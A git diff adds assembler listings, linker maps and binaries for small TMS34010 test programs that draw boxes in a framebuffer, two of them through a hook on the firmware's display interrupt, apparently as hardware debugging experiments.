SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +01840960 etext 01840960 etext + +[6 symbols] diff --git a/dwt/visual/build/blinkev.bin b/dwt/visual/build/blinkev.bin new file mode 100644 index 0000000000000000000000000000000000000000..bcae040baec2159afbced148291265b25140fa67 GIT binary patch literal 252 zcmYk0Jqp4=5QS%5*L4VDO3UOPfowEbS>y=88+d~e((4hT7f@_$x3IIx5rRLJR}j|8 zieU42@69mtwW5?pwYU|PAZ14Y1t+oqq>h{*Ck4Z97P4AVBI%Ny(d{_`(h>U>n_eZx zrwD34BiqbZ=?39VyhqybPALmzbnS0N;rFHqUM{@;KJ5I5EO4%OjVHp!`Pw)C{WO>M vhRy-p5wb!5frb&E*k|1>X4@>0ft8o!fGHTw1XO#%@xG(2JxS*cSh2(pv;syg literal 0 HcmV?d00001 diff --git a/dwt/visual/build/blinkev.lst b/dwt/visual/build/blinkev.lst new file mode 100644 index 0000000..649d0f0 --- /dev/null +++ b/dwt/visual/build/blinkev.lst @@ -0,0 +1,159 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:19:02 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; blinkpc.asm -- resident blink that draws AFTER the st + 0002 ; + 0003 ; Hook: the firmware's DI RAM trampoline at bit 00000DB + 0004 ; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F7146D0h`). + 0005 ; + 0006 ; entry saves the interrupt's saved PC, replaces i + 0007 ; tail-jumps to the stock handler 3F7146D0h; + 0008 ; ret_hook runs when the stock handler `reti`s, draws + 0009 ; to the original PC with `rets 2` (the 2 sk + 0010 ; slot and keeps the interrupted stack balan + 0011 ; + 0012 ; Drawing after the handler matters: a draw before it i + 0013 ; own screen work (measured: blink.asm counter runs, no + 0014 ; + 0015 ; Box: framebuffer (256,400), 64x64, white Terminal Man + 0016 ; State toggles every 0014h invocations (~20 frames at + 0017 ; + 0018 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0019 + 0020 00000000 .text + 0021 00000000 _start: ; install, called by rdebug `jump` + 0022 00000000 01E0 pushst + 0023 00000010 0360 dint + 0024 00000020 0540 setf 32, 0, 0 + 0025 00000030 09E0 movi entry, a0, L + 00000040 00000190' + 0026 00000060 0580 move a0, @00000DC0h, 0 + 00000070 00000DC0 + 0027 00000090 0550 setf 16, 0, 0 + 0028 000000A0 09E0 movi 0C080h, a0, L + 000000B0 0000C080 + 0029 000000D0 0580 move a0, @00000DB0h, 0 + 000000E0 00000DB0 + 0030 00000100 4400 sub a0, a0 + 0031 00000110 0580 move a0, @01840800h, 0 ; counter + 00000120 01840800 + 0032 00000140 0580 move a0, @01840810h, 0 ; state (0 = black) + 00000150 01840810 + 0033 00000170 01C0 popst + 0034 00000180 0960 rets + 0035 + 0036 ; ---- entry: point the interrupt's return at ret_hook, + 0037 00000190 entry: + 0038 00000190 0780 move a0, @01840860h, 1 ; save interrupted a0 + 000001A0 01840860 + 0039 000001C0 0740 setf 32, 0, 1 + 0040 000001D0 B7E0 move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC + 000001E0 0020 + 0041 000001F0 0780 move a0, @01840820h, 1 ; orig_pc + 00000200 01840820 + 0042 00000220 09E0 movi ret_hook, a0, L + 00000230 000002D0' + 0043 00000250 B20F move a0, *sp(020h), 1 + 00000260 0020 + 0044 00000270 07A0 move @01840860h, a0, 1 + 00000280 01840860 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:19:02 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 2 + + 0045 000002A0 C080 jauc 3F7146D0h ; stock OS display handler + 000002B0 3F7146D0 + 0046 + 0047 ; ---- ret_hook: after the stock handler, draw, then re + 0048 000002D0 ret_hook: + 0049 000002D0 098F mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg s + 000002E0 FC00 + 0050 000002F0 0180 getst a0 + 0051 00000300 0740 setf 32, 0, 1 + 0052 00000310 0780 move a0, @01840840h, 1 ; interrupted ST + 00000320 01840840 + 0053 00000340 0360 dint + 0054 + 0055 00000350 0550 setf 16, 0, 0 + 0056 00000360 0740 setf 32, 0, 1 + 0057 00000370 05A0 move @01840800h, a0, 0 + 00000380 01840800 + 0058 000003A0 1020 inc a0 + 0059 000003B0 0580 move a0, @01840800h, 0 + 000003C0 01840800 + 0060 000003E0 0B40 cmpi 0014h, a0 + 000003F0 FFEB + 0061 00000400 CB10 jrne draw + 0062 00000410 4400 sub a0, a0 + 0063 00000420 0580 move a0, @01840800h, 0 + 00000430 01840800 + 0064 00000450 05A1 move @01840810h, a1, 0 + 00000460 01840810 + 0065 00000480 0B41 cmpi 0, a1 + 00000490 FFFF + 0066 000004A0 CB02 jrne was_white + 0067 000004B0 1821 movk 1, a1 + 0068 000004C0 C001 jruc set_state + 0069 000004D0 was_white: + 0070 000004D0 4421 sub a1, a1 + 0071 000004E0 set_state: + 0072 000004E0 0581 move a1, @01840810h, 0 + 000004F0 01840810 + 0073 + 0074 00000510 draw: + 0075 00000510 05A1 move @01840810h, a1, 0 + 00000520 01840810 + 0076 00000540 0B41 cmpi 0, a1 + 00000550 FFFF + 0077 00000560 CB02 jrne pat_white + 0078 00000570 4442 sub a2, a2 + 0079 00000580 C003 jruc pat_ready + 0080 00000590 pat_white: + 0081 00000590 09E2 movi 0FFFFh, a2, L + 000005A0 0000FFFF + 0082 000005C0 pat_ready: + 0083 000005C0 09E3 movi 04064100h, a3, L + 000005D0 04064100 + 0084 000005F0 09E4 movi 64, a4, L + 00000600 00000040 + 0085 00000620 09E5 movi 4, a5, L + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:19:02 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 3 + + 00000630 00000004 + 0086 00000650 drow: + 0087 00000650 4CA1 move a5, a1 + 0088 00000660 dword: + 0089 00000660 9043 move a2, *a3+, 0 + 0090 00000670 3C41 dsjs a1, dword + 0091 00000680 0B03 addi 03C0h, a3 + 00000690 03C0 + 0092 000006A0 3CC4 dsjs a4, drow + 0093 + 0094 ; restore the A registers (field 1 is still 32) + 0095 000006B0 09AF mmfm sp, a0,a1,a2,a3,a4,a5 + 000006C0 003F + 0096 ; leave with [ST][orig_pc] and the temporary a0 slot s + 0097 000006D0 0740 setf 32, 0, 1 + 0098 000006E0 098F mmtm sp, a0 ; a0 slot at S-20h + 000006F0 8000 + 0099 00000700 07A0 move @01840820h, a0, 1 ; orig_pc + 00000710 01840820 + 0100 00000730 A20F move a0, -*sp, 1 ; orig_pc at S-40h + 0101 00000740 B7E0 move *sp(020h), a0, 1 ; restore a0 from S-20h + 00000750 0020 + 0102 00000760 07A0 move @01840840h, a0, 1 ; interrupted ST (temporarily i + 00000770 01840840 + 0103 00000790 A20F move a0, -*sp, 1 ; ST at S-60h + 0104 000007A0 B7E0 move *sp(040h), a0, 1 ; restore a0 from S-20h + 000007B0 0040 + 0105 000007C0 01C0 popst ; restore interrupted ST/IE + 0106 000007D0 0962 rets 2 ; pop orig_pc, skip the a0 slot + 0107 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/blinkev.map b/dwt/visual/build/blinkev.map new file mode 100644 index 0000000..ce58c5f --- /dev/null +++ b/dwt/visual/build/blinkev.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 03:19:02 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000007E0 + 01840000 000007E0 BLINKEV.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018407E0 etext 018407E0 etext + +[6 symbols] diff --git a/dwt/visual/build/blinkpc.bin b/dwt/visual/build/blinkpc.bin new file mode 100644 index 0000000000000000000000000000000000000000..6323e96324cf4bb6043eb4237633a70567a8c322 GIT binary patch literal 300 zcmYk0F-`+P3`IT64kKp;*@A*{asv(!DPCBmqSzy>xB)jXQhGSTh6@m-NjpWVq~QoF zNGh5f0BPcN6e*4M{lDe^I@4Hk9Ujcgu!}bUwQL*#*ezs(iXGhcSs}B-fmrMwL`Tyg z`$kmlT6HK-Dc^*ex W1jtK2w@Ntt>}gx&=rut!FL(s;98=r? literal 0 HcmV?d00001 diff --git a/dwt/visual/build/blinkpc.lst b/dwt/visual/build/blinkpc.lst new file mode 100644 index 0000000..a564d4f --- /dev/null +++ b/dwt/visual/build/blinkpc.lst @@ -0,0 +1,178 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:15:05 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; blinkpc.asm -- resident blink that draws AFTER the st + 0002 ; + 0003 ; Hook: the firmware's DI RAM trampoline at bit 00000DB + 0004 ; (RLONG(0xFFFFFEA0) = 00000DB0h, stub `JA 3F7146D0h`). + 0005 ; + 0006 ; entry saves the interrupt's saved PC, replaces i + 0007 ; tail-jumps to the stock handler 3F7146D0h; + 0008 ; ret_hook runs when the stock handler `reti`s, draws + 0009 ; to the original PC with `rets 2` (the 2 sk + 0010 ; slot and keeps the interrupted stack balan + 0011 ; + 0012 ; Drawing after the handler matters: a draw before it i + 0013 ; own screen work (measured: blink.asm counter runs, no + 0014 ; + 0015 ; Box: framebuffer (256,400), 64x64, white Terminal Man + 0016 ; State toggles every 0014h invocations (~20 frames at + 0017 ; + 0018 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0019 + 0020 00000000 .text + 0021 00000000 _start: ; install, called by rdebug `jump` + 0022 00000000 01E0 pushst + 0023 00000010 0360 dint + 0024 00000020 0540 setf 32, 0, 0 + 0025 00000030 09E0 movi entry, a0, L + 00000040 000001F0' + 0026 00000060 0580 move a0, @00000DC0h, 0 + 00000070 00000DC0 + 0027 00000090 0550 setf 16, 0, 0 + 0028 000000A0 09E0 movi 0C080h, a0, L + 000000B0 0000C080 + 0029 000000D0 0580 move a0, @00000DB0h, 0 + 000000E0 00000DB0 + 0030 00000100 4400 sub a0, a0 + 0031 00000110 0580 move a0, @01840E00h, 0 ; counter + 00000120 01840E00 + 0032 00000140 0580 move a0, @01840E10h, 0 ; state (0 = black) + 00000150 01840E10 + 0033 00000170 09E0 movi 0Ah, a0, L + 00000180 0000000A + 0034 000001A0 0580 move a0, @01840E30h, 0 ; skip the first 10 DI entries + 000001B0 01840E30 + 0035 000001D0 01C0 popst + 0036 000001E0 0960 rets + 0037 + 0038 ; ---- entry: point the interrupt's return at ret_hook, + 0039 000001F0 entry: + 0040 000001F0 0780 move a0, @01840E60h, 1 ; save interrupted a0 + 00000200 01840E60 + 0041 00000220 0550 setf 16, 0, 0 + 0042 00000230 05A0 move @01840E30h, a0, 0 ; settle counter + 00000240 01840E30 + 0043 00000260 0B40 cmpi 0, a0 + 00000270 FFFF + 0044 00000280 CA0B jreq active + 0045 00000290 1420 dec a0 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:15:05 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 2 + + 0046 000002A0 0580 move a0, @01840E30h, 0 + 000002B0 01840E30 + 0047 000002D0 0740 setf 32, 0, 1 + 0048 000002E0 07A0 move @01840E60h, a0, 1 + 000002F0 01840E60 + 0049 00000310 C080 jauc 3F7146D0h ; still settling: stock handler only + 00000320 3F7146D0 + 0050 00000340 active: + 0051 00000340 0740 setf 32, 0, 1 + 0052 00000350 B7E0 move *sp(020h), a0, 1 ; saved PC (SP -> ST, +20h -> PC + 00000360 0020 + 0053 00000370 0780 move a0, @01840E20h, 1 ; orig_pc + 00000380 01840E20 + 0054 000003A0 09E0 movi ret_hook, a0, L + 000003B0 00000450' + 0055 000003D0 B20F move a0, *sp(020h), 1 + 000003E0 0020 + 0056 000003F0 07A0 move @01840E60h, a0, 1 + 00000400 01840E60 + 0057 00000420 C080 jauc 3F7146D0h ; stock OS display handler + 00000430 3F7146D0 + 0058 + 0059 ; ---- ret_hook: after the stock handler, draw, then re + 0060 00000450 ret_hook: + 0061 00000450 0360 dint ; first instruction: close the reti->hook race + 0062 00000460 098F mmtm sp, a0,a1,a2,a3,a4,a5 ; field-independent A-reg s + 00000470 FC00 + 0063 00000480 0180 getst a0 + 0064 00000490 0740 setf 32, 0, 1 + 0065 000004A0 0780 move a0, @01840E40h, 1 ; interrupted ST + 000004B0 01840E40 + 0066 + 0067 000004D0 0550 setf 16, 0, 0 + 0068 000004E0 0740 setf 32, 0, 1 + 0069 000004F0 05A0 move @01840E00h, a0, 0 + 00000500 01840E00 + 0070 00000520 1020 inc a0 + 0071 00000530 0580 move a0, @01840E00h, 0 + 00000540 01840E00 + 0072 00000560 0B40 cmpi 0014h, a0 + 00000570 FFEB + 0073 00000580 CB10 jrne draw + 0074 00000590 4400 sub a0, a0 + 0075 000005A0 0580 move a0, @01840E00h, 0 + 000005B0 01840E00 + 0076 000005D0 05A1 move @01840E10h, a1, 0 + 000005E0 01840E10 + 0077 00000600 0B41 cmpi 0, a1 + 00000610 FFFF + 0078 00000620 CB02 jrne was_white + 0079 00000630 1821 movk 1, a1 + 0080 00000640 C001 jruc set_state + 0081 00000650 was_white: + 0082 00000650 4421 sub a1, a1 + 0083 00000660 set_state: + 0084 00000660 0581 move a1, @01840E10h, 0 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 03:15:05 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 3 + + 00000670 01840E10 + 0085 + 0086 00000690 draw: + 0087 00000690 05A1 move @01840E10h, a1, 0 + 000006A0 01840E10 + 0088 000006C0 0B41 cmpi 0, a1 + 000006D0 FFFF + 0089 000006E0 CB02 jrne pat_white + 0090 000006F0 4442 sub a2, a2 + 0091 00000700 C003 jruc pat_ready + 0092 00000710 pat_white: + 0093 00000710 09E2 movi 0FFFFh, a2, L + 00000720 0000FFFF + 0094 00000740 pat_ready: + 0095 00000740 09E3 movi 04064100h, a3, L + 00000750 04064100 + 0096 00000770 09E4 movi 64, a4, L + 00000780 00000040 + 0097 000007A0 09E5 movi 4, a5, L + 000007B0 00000004 + 0098 000007D0 drow: + 0099 000007D0 4CA1 move a5, a1 + 0100 000007E0 dword: + 0101 000007E0 9043 move a2, *a3+, 0 + 0102 000007F0 3C41 dsjs a1, dword + 0103 00000800 0B03 addi 03C0h, a3 + 00000810 03C0 + 0104 00000820 3CC4 dsjs a4, drow + 0105 + 0106 ; restore the A registers (field 1 is still 32) + 0107 00000830 09AF mmfm sp, a0,a1,a2,a3,a4,a5 + 00000840 003F + 0108 ; leave with [ST][orig_pc] and the temporary a0 slot s + 0109 00000850 0740 setf 32, 0, 1 + 0110 00000860 098F mmtm sp, a0 ; a0 slot at S-20h + 00000870 8000 + 0111 00000880 07A0 move @01840E20h, a0, 1 ; orig_pc + 00000890 01840E20 + 0112 000008B0 A20F move a0, -*sp, 1 ; orig_pc at S-40h + 0113 000008C0 B7E0 move *sp(020h), a0, 1 ; restore a0 from S-20h + 000008D0 0020 + 0114 000008E0 07A0 move @01840E40h, a0, 1 ; interrupted ST (temporarily i + 000008F0 01840E40 + 0115 00000910 A20F move a0, -*sp, 1 ; ST at S-60h + 0116 00000920 B7E0 move *sp(040h), a0, 1 ; restore a0 from S-20h + 00000930 0040 + 0117 00000940 01C0 popst ; restore interrupted ST/IE + 0118 00000950 0962 rets 2 ; pop orig_pc, skip the a0 slot + 0119 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/blinkpc.map b/dwt/visual/build/blinkpc.map new file mode 100644 index 0000000..219ec6c --- /dev/null +++ b/dwt/visual/build/blinkpc.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 03:15:05 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 00000960 + 01840000 00000960 BLINKPC.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +01840960 etext 01840960 etext + +[6 symbols] diff --git a/dwt/visual/build/boxalign.bin b/dwt/visual/build/boxalign.bin new file mode 100644 index 0000000000000000000000000000000000000000..8daf5355472949fd4c19a59e4555f5ff90ff747e GIT binary patch literal 54 zcmWGwbzo<3dBn-k#K!WN(}973;Rz=TkZko~n&4`~#C?GIu+0Nbsf7#-4Xg?bt&9oG J49x!y002tl4I2Oe literal 0 HcmV?d00001 diff --git a/dwt/visual/build/boxalign.lst b/dwt/visual/build/boxalign.lst new file mode 100644 index 0000000..cd2ff1d --- /dev/null +++ b/dwt/visual/build/boxalign.lst @@ -0,0 +1,43 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:53:14 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; boxalign.asm -- CONTROL: one word-aligned solid black + 0002 ; + 0003 ; Box at framebuffer (512,416): x is a multiple of 16 ( + 0004 ; what the TMS34010 16-bit field store needs. Inside t + 0005 ; white body, so a black box is unmistakable. + 0006 ; + 0007 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0008 + 0009 00000000 .text + 0010 00000000 _start: + 0011 00000000 0550 setf 16, 0, 0 + 0012 00000010 0740 setf 32, 0, 1 + 0013 00000020 4400 sub a0, a0 ; pattern = 0000 (black) + 0014 00000030 09E2 movi 04068200h, a2, L ; 04000000h + 416*1024 + 512 + 00000040 04068200 + 0015 00000060 09E3 movi 64, a3, L ; 64 rows + 00000070 00000040 + 0016 00000090 09E4 movi 4, a4, L ; 4 words = 64 px + 000000A0 00000004 + 0017 000000C0 row: + 0018 000000C0 4C85 move a4, a5 + 0019 000000D0 word: + 0020 000000D0 9002 move a0, *a2+, 0 + 0021 000000E0 3C45 dsjs a5, word + 0022 000000F0 0B02 addi 03C0h, a2 ; 1024 - 64 bits + 00000100 03C0 + 0023 00000110 3CC3 dsjs a3, row + 0024 00000120 09E0 movi 0A11Ah, a0, L + 00000130 0000A11A + 0025 00000150 0580 move a0, @01850020h, 0 ; ALIGN_MARK = A11A + 00000160 01850020 + 0026 00000180 0360 dint + 0027 00000190 spin: + 0028 00000190 0300 nop + 0029 000001A0 C0FE jruc spin + 0030 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/boxalign.map b/dwt/visual/build/boxalign.map new file mode 100644 index 0000000..507efb6 --- /dev/null +++ b/dwt/visual/build/boxalign.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 02:53:14 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000001B0 + 01840000 000001B0 BOXALIGN.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018401B0 etext 018401B0 etext + +[6 symbols] diff --git a/dwt/visual/build/draw_box.bin b/dwt/visual/build/draw_box.bin new file mode 100644 index 0000000000000000000000000000000000000000..2d5317a2ff30ad55acb98b7d52da9e4a57370514 GIT binary patch literal 126 zcmWGwbzpzM`Tsuy!y`_k6AUbmITaWf7@lx40m)V$rU|Y#OxzEc58FKA{N=!gM|RO} fZk)0YI2T-EU}#`fU}$B0z +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000003F0 + 01840000 000003F0 DRAW_BOX.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018403F0 etext 018403F0 etext + +[6 symbols] diff --git a/dwt/visual/build/drawal.bin b/dwt/visual/build/drawal.bin new file mode 100644 index 0000000000000000000000000000000000000000..6c470156f18085aec54f3898bc53afd29165040d GIT binary patch literal 122 zcmWGwbzo<3dBkaOfPv*Prvd{5!xK&>Ald4}G{Mz|iTeTbVVg&s432DgWEULf#wq)N abHODBh6YvzhE~Q0oCh|5*akp$0w(}3jUPY& literal 0 HcmV?d00001 diff --git a/dwt/visual/build/drawal.lst b/dwt/visual/build/drawal.lst new file mode 100644 index 0000000..a9f22fa --- /dev/null +++ b/dwt/visual/build/drawal.lst @@ -0,0 +1,87 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:53:46 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; drawal.asm -- one-shot static VRAM draw at word-align + 0002 ; + 0003 ; Three solid-black 32x32 boxes: + 0004 ; A (48,48) root weave, outside every window + 0005 ; B (256,400) inside the Terminal Manager white body + 0006 ; C (928,752) root weave, lower right + 0007 ; All x are multiples of 16, which the TMS34010 16-bit + 0008 ; Writes marker words, then `rets` so the rdebug sessio + 0009 ; + 0010 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0011 + 0012 00000000 .text + 0013 00000000 _start: + 0014 00000000 0550 setf 16, 0, 0 + 0015 00000010 0740 setf 32, 0, 1 + 0016 00000020 4400 sub a0, a0 ; 0000 = black + 0017 + 0018 ; box A (48,48) + 0019 00000030 09E2 movi 0400C030h, a2, L + 00000040 0400C030 + 0020 00000060 09E3 movi 32, a3, L + 00000070 00000020 + 0021 00000090 09E4 movi 2, a4, L + 000000A0 00000002 + 0022 000000C0 rowA: + 0023 000000C0 4C85 move a4, a5 + 0024 000000D0 wordA: + 0025 000000D0 9002 move a0, *a2+, 0 + 0026 000000E0 3C45 dsjs a5, wordA + 0027 000000F0 0B02 addi 03E0h, a2 + 00000100 03E0 + 0028 00000110 3CC3 dsjs a3, rowA + 0029 + 0030 ; box B (256,400) + 0031 00000120 09E2 movi 04064100h, a2, L + 00000130 04064100 + 0032 00000150 09E3 movi 32, a3, L + 00000160 00000020 + 0033 00000180 09E4 movi 2, a4, L + 00000190 00000002 + 0034 000001B0 rowB: + 0035 000001B0 4C85 move a4, a5 + 0036 000001C0 wordB: + 0037 000001C0 9002 move a0, *a2+, 0 + 0038 000001D0 3C45 dsjs a5, wordB + 0039 000001E0 0B02 addi 03E0h, a2 + 000001F0 03E0 + 0040 00000200 3CC3 dsjs a3, rowB + 0041 + 0042 ; box C (928,752) + 0043 00000210 09E2 movi 040BC3A0h, a2, L + 00000220 040BC3A0 + 0044 00000240 09E3 movi 32, a3, L + 00000250 00000020 + 0045 00000270 09E4 movi 2, a4, L + 00000280 00000002 + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:53:46 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 2 + + 0046 000002A0 rowC: + 0047 000002A0 4C85 move a4, a5 + 0048 000002B0 wordC: + 0049 000002B0 9002 move a0, *a2+, 0 + 0050 000002C0 3C45 dsjs a5, wordC + 0051 000002D0 0B02 addi 03E0h, a2 + 000002E0 03E0 + 0052 000002F0 3CC3 dsjs a3, rowC + 0053 + 0054 00000300 09E0 movi 0D2A0h, a0, L + 00000310 0000D2A0 + 0055 00000330 0580 move a0, @01850020h, 0 ; DRAW_MARK = D2A0 + 00000340 01850020 + 0056 00000360 09E0 movi 0B0C0h, a0, L + 00000370 0000B0C0 + 0057 00000390 0580 move a0, @01850030h, 0 ; DRAW_MARK2 = B0C0 + 000003A0 01850030 + 0058 000003C0 0960 rets + 0059 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/drawal.map b/dwt/visual/build/drawal.map new file mode 100644 index 0000000..6d78fea --- /dev/null +++ b/dwt/visual/build/drawal.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 02:53:46 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000003D0 + 01840000 000003D0 DRAWAL.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss +01840000 .text 00000000 end +00000000 edata 00000000 .data +00000000 end 01840000 .text +018403D0 etext 018403D0 etext + +[6 symbols] diff --git a/dwt/visual/build/drawspin.bin b/dwt/visual/build/drawspin.bin new file mode 100644 index 0000000000000000000000000000000000000000..c08cf07fb408d61f87383bb81683dd3fe04db5d3 GIT binary patch literal 118 zcmWGwbzpzM`Tsuy!y`_k6AUbmITaWf7@lx40m)V$rU|Y#OxzEc58FKA{N=!gM|RO} aZk)0YIHRK(7#dg=7+M(HP=9RL8LFCa?* literal 0 HcmV?d00001 diff --git a/dwt/visual/build/drawspin.lst b/dwt/visual/build/drawspin.lst new file mode 100644 index 0000000..a4ab17b --- /dev/null +++ b/dwt/visual/build/drawspin.lst @@ -0,0 +1,85 @@ +GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:51:11 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 1 + + 0001 ; draw_spin.asm -- CONTROL payload: draw the same three + 0002 ; + 0003 ; It proves the coordinates and the renderer mapping (t + 0004 ; next dumped frame). It deliberately does NOT return, + 0005 ; this point. Compare with draw_box.asm, which returns + 0006 ; and whose boxes are gone by the next dumped frame: th + 0007 ; + 0008 ; Linked at bit 01840000h by dwt/visual/build.sh. + 0009 + 0010 00000000 .text + 0011 00000000 _start: + 0012 00000000 0550 setf 16, 0, 0 + 0013 00000010 0740 setf 32, 0, 1 + 0014 00000020 09E0 movi 0FFFFh, a0, L + 00000030 0000FFFF + 0015 + 0016 ; box A (50,50) + 0017 00000050 09E2 movi 0400C832h, a2, L + 00000060 0400C832 + 0018 00000080 09E3 movi 32, a3, L + 00000090 00000020 + 0019 000000B0 09E4 movi 2, a4, L + 000000C0 00000002 + 0020 000000E0 rowA: + 0021 000000E0 4C85 move a4, a5 + 0022 000000F0 wordA: + 0023 000000F0 9002 move a0, *a2+, 0 + 0024 00000100 3C45 dsjs a5, wordA + 0025 00000110 0B02 addi 03E0h, a2 + 00000120 03E0 + 0026 00000130 3CC3 dsjs a3, rowA + 0027 + 0028 ; box B (250,400) + 0029 00000140 09E2 movi 040640FAh, a2, L + 00000150 040640FA + 0030 00000170 09E3 movi 32, a3, L + 00000180 00000020 + 0031 000001A0 09E4 movi 2, a4, L + 000001B0 00000002 + 0032 000001D0 rowB: + 0033 000001D0 4C85 move a4, a5 + 0034 000001E0 wordB: + 0035 000001E0 9002 move a0, *a2+, 0 + 0036 000001F0 3C45 dsjs a5, wordB + 0037 00000200 0B02 addi 03E0h, a2 + 00000210 03E0 + 0038 00000220 3CC3 dsjs a3, rowB + 0039 + 0040 ; box C (930,750) + 0041 00000230 09E2 movi 040BBBA2h, a2, L + 00000240 040BBBA2 + 0042 00000260 09E3 movi 32, a3, L + 00000270 00000020 + 0043 00000290 09E4 movi 2, a4, L + 000002A0 00000002 + 0044 000002C0 rowC: + GSP COFF Assembler, Version 2.00, 87.300 Sun Oct 18 02:51:11 2026 + (c) Copyright 1985, 1987, Texas Instruments Inc. + + PAGE 2 + + 0045 000002C0 4C85 move a4, a5 + 0046 000002D0 wordC: + 0047 000002D0 9002 move a0, *a2+, 0 + 0048 000002E0 3C45 dsjs a5, wordC + 0049 000002F0 0B02 addi 03E0h, a2 + 00000300 03E0 + 0050 00000310 3CC3 dsjs a3, rowC + 0051 + 0052 00000320 09E0 movi 05B5Bh, a0, L + 00000330 00005B5B + 0053 00000350 0580 move a0, @01850020h, 0 ; SPIN_MARK = 5B5B + 00000360 01850020 + 0054 00000380 0360 dint + 0055 00000390 spin: + 0056 00000390 0300 nop + 0057 000003A0 C0FE jruc spin + 0058 .end + + No Errors, No Warnings diff --git a/dwt/visual/build/drawspin.map b/dwt/visual/build/drawspin.map new file mode 100644 index 0000000..b2cb455 --- /dev/null +++ b/dwt/visual/build/drawspin.map @@ -0,0 +1,34 @@ +***************************************************** +GSP COFF Linker, Version 2.00, 87.300 +***************************************************** +Sun Oct 18 02:51:11 2026 + +OUTPUT FILE NAME: +ENTRY POINT SYMBOL: 0 + + +SECTION ALLOCATION MAP + + output attributes/ +section page origin length input sections +-------- ---- ---------- ---------- ---------------- +.data 0 00000000 00000000 + +.bss 0 00000000 00000000 UNINITIALIZED + +.text 0 01840000 000003B0 + 01840000 000003B0 DRAWSPIN.obj (.text) + + +GLOBAL SYMBOLS + +address name address name +-------- ---- -------- ---- +00000000 .bss 00000000 edata +00000000 .data 00000000 .bss 